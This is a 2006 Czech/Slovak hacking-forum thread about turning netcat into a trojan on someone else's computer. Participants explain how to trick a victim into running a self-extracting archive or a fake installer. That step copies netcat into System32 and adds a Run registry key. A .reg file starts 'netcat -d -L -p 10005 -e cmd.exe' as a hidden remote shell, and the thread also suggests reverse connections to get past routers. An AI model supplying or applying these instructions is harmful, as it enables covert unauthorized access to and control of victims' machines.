NetCat ako trojan

HackForum

NetCat ako trojan #
trošku som študoval ten NetCat a ako je popisane v članku že je ho možne využita aj ako trojana to ma fakt zaujalo ale neviem prist nato či sa to da dostat do pc aj ked nemam k nemu fizicky pristup
(odpovědět)
Gissmo | E-mail | Website24.2.2006 13:48
re: NetCat ako trojan #
Když nemáš fizický přístup, tak musíš mít alespoň přístup vzdálený. Pokud nemáš ani ten a nedokážeš si jej obstarat, tak je jediná možnost: musí si jej stáhnout a spustit napadená osoba
(odpovědět)
.cCuMiNn,24.2.2006 14:09
re: NetCat ako trojan #
Doporucujem ti spravit si netcata + cmdskript a dat to do samorozbalovaceho suboru ... ja to tak robim a mam vysoku ucinnost proste posles to obeti on to otvori pod zamienkou ze je to nejaka super vec ...netcat sa nakopiruje do sys32 (napr) a este je dobre vlozit aj pomocou "reg import" kluc d registrov tak aby sa aj po restrate vzdy spustil NC v nacuvacom skrytmo mode .... a mas vyhrane ...
(odpovědět)
ChreNik24.2.2006 14:27
re: NetCat ako trojan #
Me todle taky zaujalo. Neni problem to dat do nejakyho samorozbalovaciho souburku treba pomoci NSIS ale nevim co mam napsat do toho CMD souboru (*.BAT?? ) a jaky tam nahazet prikazi. Pak uz staci napsat do netcatu ip+port a je to hotovo??? Pokud je to spatna teorie tak to pls napiste jak to ma byt sparvne at neziju v iluzich :) thx
(odpovědět)
Leroy24.2.2006 15:16
re: NetCat ako trojan #
Hm... ked xces poslem ti cely navod a popis na toho mojho aj s editom registrov a tak ... ale napis maila na system-info@inmail.sk ... a ja ti spetne poslem veci aj s popisom ...
(odpovědět)
ChreNik24.2.2006 18:16
re: NetCat ako trojan #
staci si sestavit malej programek (pokud mozno grafickej, delphi je na to idealni), kterej zobrazi splashcreen, tvari se jako instalace, zkopiruje netcat, ulozi ho do registru, spusti ho a hodi hlasku "instalation failed"... lidi sou smutny a maj v sobe trojana ;)) ten netcat udela jenom to, ze na portu 123 spusti cmd.exe (prikazovou radku, ne vas vlastni program) a vy kdyz se pripojite k nim na port 123 tak ste v jejich prikazovy radce... bacha ale pokud je ON za routerem (coz pri dsl bejva), tak je treba i nastavit portforwarding, coz bejva potiz... a nebo to udela tak aby se ON pripojoval na vas, treba 1 pokud kazdejch 5 min... neni to tak efektivni, ale staci to
(odpovědět)
dayvee | Website | ICQ 26899873324.2.2006 15:23
re: NetCat ako trojan #
no ale stale nerozmumiem ako nastavit aby netcat po skopirovani do registru spustil port 123 cmd .exe je na to nejaky prikaz že hned po spusteni sa ma ju spustit už dopredu zadane prikazy
(odpovědět)
Gissmo | E-mail | Website24.2.2006 18:42
re: NetCat ako trojan #
No hele udelas to takhle ... NC pouzivam na porte vyssom ako 10000 takze tu mas priklad
do CMD das prikaz "reg import BLA.reg"
a subor reg bude vyzerat asi takto

....
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wind
ows\
CurrentVersion\Run]
"rund32dlll"="netcat -d -L -p 10005 -e cmd.exe"
(odpovědět)
ChreNik24.2.2006 19:08
re: NetCat ako trojan #
no vyhodilo mi to neplatny format suboru

(odpovědět)
Gissmo | E-mail | Website24.2.2006 19:39
re: NetCat ako trojan #
Co aky format suboru _?: nexapem ta ....
sak mas v adresary System32 netcata _? a musi byt pod menom netcat .... a spravil si to cez to CMDcko _:? tam musis do prveho riadku dat @echo off .... inak newiem co si takeho spravil ....
(odpovědět)
ChreNik24.2.2006 22:12
re: NetCat ako trojan #
jaj tak tam bola chyba mal som to inde uložene dik
(odpovědět)
Gissmo | E-mail | Website25.2.2006 16:46

Zpět
 
 
 

 
BBCode